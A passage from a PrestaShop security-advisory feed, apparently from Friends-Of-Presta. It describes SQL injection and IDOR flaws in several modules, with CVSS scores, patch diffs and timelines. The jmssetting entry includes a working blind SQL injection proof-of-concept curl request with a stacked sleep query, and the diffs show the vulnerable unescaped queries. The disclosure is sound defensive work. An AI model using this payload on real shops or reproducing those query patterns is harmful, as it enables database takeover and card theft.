  <li><strong>Product author</strong>: SunnyToo</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Method <code class="language-plaintext highlighter-rouge">StBlogSearchClass::prepareSearch</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<p>Note : the author do not have a compliant semver versionning on these modules, only on its themes which loads tens of modules. According to him, it’s fixed on Panda Theme  2.8 and Transform Theme  4.7.0. So, according to its advices, you must update the whole theme.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-10">Patch from 1.0</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.0/modules/stblogsearch/classes/StBlogSearchClass.php
</span><span class="gi">+++ XXX/modules/stblogsearch/classes/StBlogSearchClass.php
</span><span class="err">...</span>
        foreach ($words as $key =&gt; $search)
        {
            if (empty($search) || strlen($search) &lt; (int)Configuration::get('ST_BS_SEARCH_MINWORDLEN'))
                continue;
            $search_extra = '';
            if (Configuration::get('ST_BS_SEARCH_NAME'))
<span class="gd">-               $search_extra .= ' OR bl.name LIKE "%'.$search.'%"';
</span><span class="gi">+               $search_extra .= ' OR bl.name LIKE "%'.pSQL($search).'%"';
</span>            if (Configuration::get('ST_BS_SEARCH_AUTHOR
<span class="gd">-               $search_extra .= ' OR bl.author LIKE "%'.$search.'%"';
</span><span class="gi">+               $search_extra .= ' OR bl.author LIKE "%'.pSQL($search).'%"';
</span>            if (Configuration::get('ST_BS_SEARCH_CATEGORY'))
<span class="gd">-               $search_extra .= ' OR bcl.name LIKE "%'.$search.'%"';
</span><span class="gi">+               $search_extra .= ' OR bcl.name LIKE "%'.pSQL($search).'%"';
</span>            if (Configuration::get('ST_BS_SEARCH_SHORT_CONTENT'))
<span class="gd">-               $search_extra .= ' OR bl.content_short LIKE "%'.$search.'%"';
</span><span class="gi">+               $search_extra .= ' OR bl.content_short LIKE "%'.pSQL($search).'%"';
</span>            if (Configuration::get('ST_BS_SEARCH_CONTENT'))
<span class="gd">-               $search_extra .= ' OR bl.content LIKE "%'.$search.'%"';
</span><span class="gi">+               $search_extra .= ' OR bl.content LIKE "%'.pSQL($search).'%"';
</span>            
            if (!$search_extra)
                return false;
            
            // Search in blog lang and category lang.
            $result = Db::getInstance(_PS_USE_SQL_SLAVE_)-&gt;executeS('
            SELECT bl.id_st_blog FROM `'._DB_PREFIX_.'st_blog_lang` bl 
            INNER JOIN `'._DB_PREFIX_.'st_blog_shop` bs ON (bs.id_st_blog=bl.id_st_blog)
            LEFT JOIN `'._DB_PREFIX_.'st_blog_category_blog` bcb ON (bl.id_st_blog=bcb.id_st_blog)
            LEFT JOIN `'._DB_PREFIX_.'st_blog_category_lang` bcl ON (bcb.id_st_blog_category=bcl.id_st_blog_category
            AND bcl.`id_lang` = '.$id_lang.')
            WHERE bl.`id_lang` ='.$id_lang.'
            AND bs.`id_shop` = '.$id_shop.'
            AND ('.trim($search_extra, ' OR ').')
            ');
        
            if($result)
        		foreach ($result as $row)
                    $id_array[] = $row['id_st_blog'];
            
            if (Configuration::get('ST_BS_SEARCH_TAG'))
            {
                // Search in blog tag.
                $result = Db::getInstance(_PS_USE_SQL_SLAVE_)-&gt;executeS('
                SELECT id_st_blog FROM `'._DB_PREFIX_.'st_blog_tag` t 
                INNER JOIN `'._DB_PREFIX_.'st_blog_tag_map` tm 
                ON (t.id_st_blog_tag=tm.id_st_blog_tag)
                WHERE id_lang = '.$id_lang.'
<span class="gd">-               AND name like "%'.$search.'%"
</span><span class="gi">+               AND name like "%'.pSQL($search).'%"
</span>                ');
                if($result)
            		foreach ($result as $row)
                        $id_array[] = $row['id_st_blog'];    
            }
      }
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>stblogsearch</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-08-29</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-08-29</td>
      <td>Contact Author to confirm versions scope</td>
    </tr>
    <tr>
      <td>2023-08-29</td>
      <td>Author confirm versions scope</td>
    </tr>
    <tr>
      <td>2023-09-21</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-09-27</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-01-18</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.sunnytoo.com/product/panda-creative-responsive-prestashop-theme">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-43985">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Creabilis&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Blog Search” (stblogsearch) up to version 1.0 from SunnyToo for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-50028] Improper neutralization of SQL parameter in PrestashopModules.eu - Sliding cart block for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/01/16/blockslidingcart.html" rel="alternate" type="text/html" title="[CVE-2023-50028] Improper neutralization of SQL parameter in PrestashopModules.eu - Sliding cart block for PrestaShop" /><published>2024-01-16T00:00:00+00:00</published><updated>2024-01-16T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/01/16/blockslidingcart</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/01/16/blockslidingcart.html"><![CDATA[<p>In the module “Sliding cart block” (blockslidingcart) up to version 2.3.8 from PrestashopModules.eu for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-50028">CVE-2023-50028</a></li>
  <li><strong>Published at</strong>: 2024-01-16</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: blockslidingcart</li>
  <li><strong>Impacted release</strong>: &lt;= 2.3.8 (all versions)</li>
  <li><strong>Product author</strong>: PrestashopModules.eu</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">Blockslidingcart::renderModal()</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<p>Warning : author discontinue support - you must avoid to use it.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-238">Patch from 2.3.8</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 2.3.8/modules/blockslidingcart/blockslidingcart.php
</span><span class="gi">+++ XXXXX/modules/blockslidingcart/blockslidingcart.php
</span><span class="err">...</span>
        }
<span class="gd">-       $crossproductIds = array($id_product);
</span><span class="gi">+       $crossproductIds = array_map('intval', explode(',', $id_product));
</span>        $q_orders = 'SELECT o.id_order
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>blockslidingcart</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-01-02</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-10-18</td>
      <td>Wepika - Antoine found it too and remain us to do the CVE</td>
    </tr>
    <tr>
      <td>2023-10-18</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-11-29</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-12-04</td>
      <td>PrestaShop Addons security Team confirms version scope</td>
    </tr>
    <tr>
      <td>2023-12-12</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-01-16</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://prestashopmodules.eu/">Author product page</a></li>
  <li><a href="https://addons.prestashop.com/en/express-checkout-process/3321-block-sliding-cart.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-50028">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Wepika - Antoine&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Sliding cart block” (blockslidingcart) up to version 2.3.8 from PrestashopModules.eu for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-50030] Blind SQL injection vulnerability in Joommasters - Jms Setting module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/01/16/jmssetting.html" rel="alternate" type="text/html" title="[CVE-2023-50030] Blind SQL injection vulnerability in Joommasters - Jms Setting module for PrestaShop" /><published>2024-01-16T00:00:00+00:00</published><updated>2024-01-16T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/01/16/jmssetting</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/01/16/jmssetting.html"><![CDATA[<p>In the module “Jms Setting” (jmssetting) from Joommasters for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-50030">CVE-2023-50030</a></li>
  <li><strong>Published at</strong>: 2024-01-16</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: jmssetting</li>
  <li><strong>Impacted release</strong>: at least &lt;= 1.1.0</li>
  <li><strong>Product author</strong>: Joommasters</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">JmsSetting::getSecondImgs()</code> has a sensitive SQL call that can be executed with a trivial http call and exploited to forge a blind SQL injection.</p>

<p><strong>WARNING</strong> : This exploit is actively used to deploy a webskimmer to massively steal credit cards.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Technical and personal data leaks</li>
  <li>Obtain admin access</li>
  <li>Remove all data of the linked PrestaShop</li>
  <li>Display sensitives tables to front-office to unlock potential admin’s ajax scripts of modules protected by token on the ecosystem</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="s2">"https://preprod.x/modules/jmssetting/initajax.php?productids[1]=1);select(0x73656C65637420736C656570283432293B)INTO@a;prepare</span><span class="sb">`</span>b<span class="sb">`</span><span class="s2">from@a;execute</span><span class="sb">`</span>b<span class="sb">`</span><span class="s2">;--"</span>
</code></pre></div></div>

<h2 id="patch">Patch</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.1.0/modules/jmssetting/jmssetting.php
</span><span class="gi">+++ XXXXX/modules/jmssetting/jmssetting.php
</span><span class="err">...</span>
	public function getSecondImgs($productids)
	{
		$link = $this-&gt;context-&gt;link;
		$id_lang = Context::getContext()-&gt;language-&gt;id;
<span class="gd">-		$where  = ' WHERE i.`id_product` IN ('.$productids.') AND i.`cover`=0';
</span><span class="gi">+		$where  = ' WHERE i.`id_product` IN ('.implode(',', array_map('intval', explode(',', $productids))).') AND i.`cover`=0';
</span><span class="err">...</span>
</code></pre></div></div>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-10-23</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-10-23</td>
      <td>Contact the author</td>
    </tr>
    <tr>
      <td>2023-11-29</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-12-12</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-01-16</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.joommasters.com/">Joom masters web site</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-50030">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Creabilis.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Jms Setting” (jmssetting) from Joommasters for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-6921] Improper neutralization of SQL parameter in PrestaShow Google Integrator module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/01/09/pshowconversion.html" rel="alternate" type="text/html" title="[CVE-2023-6921] Improper neutralization of SQL parameter in PrestaShow Google Integrator module for PrestaShop" /><published>2024-01-09T00:00:00+00:00</published><updated>2024-01-09T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/01/09/pshowconversion</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/01/09/pshowconversion.html"><![CDATA[<p>Blind SQL Injection vulnerability in PrestaShow Google Integrator (pshowconversion) allows for data extraction and modification. This attack is possible via command insertion in one of the cookies.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-6921">CVE-2023-6921</a></li>
  <li><strong>Published at</strong>: 2024-01-09</li>
  <li><strong>Advisory source</strong>: <a href="https://cert.pl/posts/2024/01/CVE-2023-6921/">Piotr Zdunek</a></li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: pshowconversion</li>
  <li><strong>Impacted release</strong>: &lt;2.1.4</li>
  <li><strong>Product author</strong>: Presta Show</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="description">Description</h2>

<p>The module versions below v2.1.4 released before 2023-03-09 are susceptible to the problem described in the report. All subsequent versions of the Google Integrator module have been properly secured - they are secure and have no vulnerabilities.</p>

<p><a href="https://helpdesk.prestashow.pl/kb/faq.php?id=190&amp;lang=en_US">See also author notice</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>pshowconversion</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2024-01-09</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://prestashow.pl/pl/moduly-prestashop/28-prestashop-google-integrator-ga4-gtm-ads-remarketing.html">Product author page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-6921">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;202 ecommerce.com&quot;, &quot;Touchweb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[Blind SQL Injection vulnerability in PrestaShow Google Integrator (pshowconversion) allows for data extraction and modification. This attack is possible via command insertion in one of the cookies.]]></summary></entry><entry><title type="html">[CVE-2023-48926] Insecure Direct Object Reference in Advanced Loyalty Program: Loyalty Points module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/01/09/totloyaltyadvanced.html" rel="alternate" type="text/html" title="[CVE-2023-48926] Insecure Direct Object Reference in Advanced Loyalty Program: Loyalty Points module for PrestaShop" /><published>2024-01-09T00:00:00+00:00</published><updated>2024-01-09T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/01/09/totloyaltyadvanced</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/01/09/totloyaltyadvanced.html"><![CDATA[<p>In the module “Advanced Loyalty Program: Loyalty Points” (totloyaltyadvanced) from 2.3.3 to version 2.3.4 from 202 ecommerce for PrestaShop, a guest can change an order status.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://github.com/202ecommerce/security-advisories/security/advisories/GHSA-jp2c-mj65-qpmw">CVE-2023-48926</a></li>
  <li><strong>Published at</strong>: 2024-01-09</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>:  totloyaltyadvanced</li>
  <li><strong>Advisory source</strong>: <a href="https://github.com/202ecommerce/security-advisories/security/advisories/GHSA-jp2c-mj65-qpmw">202 ecommerce</a></li>
  <li><strong>Impacted release</strong>: &gt;=2.3.3 and &lt;2.3.4 (2.3.4 fix the issue)</li>
  <li><strong>Product author</strong>: 202 ecommerce</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/639.html">CWE-639</a></li>
  <li><strong>Severity</strong>: high (7.5)</li>
</ul>

<h2 id="description">Description</h2>

<p>The orderstatus front controller suffers from a logical weakness.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: none</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Confirm an unpaid cart</li>
</ul>

<h2 id="patch">Patch</h2>

<p>Remove file <code class="language-plaintext highlighter-rouge">controllers/front/orderstatus.php</code></p>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-10-22</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-10-22</td>
      <td>Contact Author to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-11-09</td>
      <td>Publish a new release on addons</td>
    </tr>
    <tr>
      <td>2023-11-15</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2024-01-09</td>
      <td>Publish this advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://github.com/202ecommerce/security-advisories/security/advisories/GHSA-jp2c-mj65-qpmw">Advisory source</a></li>
  <li><a href="https://addons.prestashop.com/en/referral-loyalty-programs/7301-advanced-loyalty-program-loyalty-points.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-48926">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Advanced Loyalty Program: Loyalty Points” (totloyaltyadvanced) from 2.3.3 to version 2.3.4 from 202 ecommerce for PrestaShop, a guest can change an order status.]]></summary></entry><entry><title type="html">[CVE-2023-50027] Improper neutralization of SQL parameter in Buy Addons - Best Zoom Magnifier Effect - BAZoom Magnifier module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/12/19/baproductzoommagnifier.html" rel="alternate" type="text/html" title="[CVE-2023-50027] Improper neutralization of SQL parameter in Buy Addons - Best Zoom Magnifier Effect - BAZoom Magnifier module for PrestaShop" /><published>2023-12-19T00:00:00+00:00</published><updated>2023-12-19T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/12/19/baproductzoommagnifier</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/12/19/baproductzoommagnifier.html"><![CDATA[<p>In the module “Best Zoom Magnifier Effect - BAZoom Magnifier” (baproductzoommagnifier) up to version 1.0.16 from Buy Addons for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-50027">CVE-2023-50027</a></li>
  <li><strong>Published at</strong>: 2023-12-19</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: baproductzoommagnifier</li>
  <li><strong>Impacted release</strong>: &lt;=1.0.16 (1.0.17 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Buy Addons</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
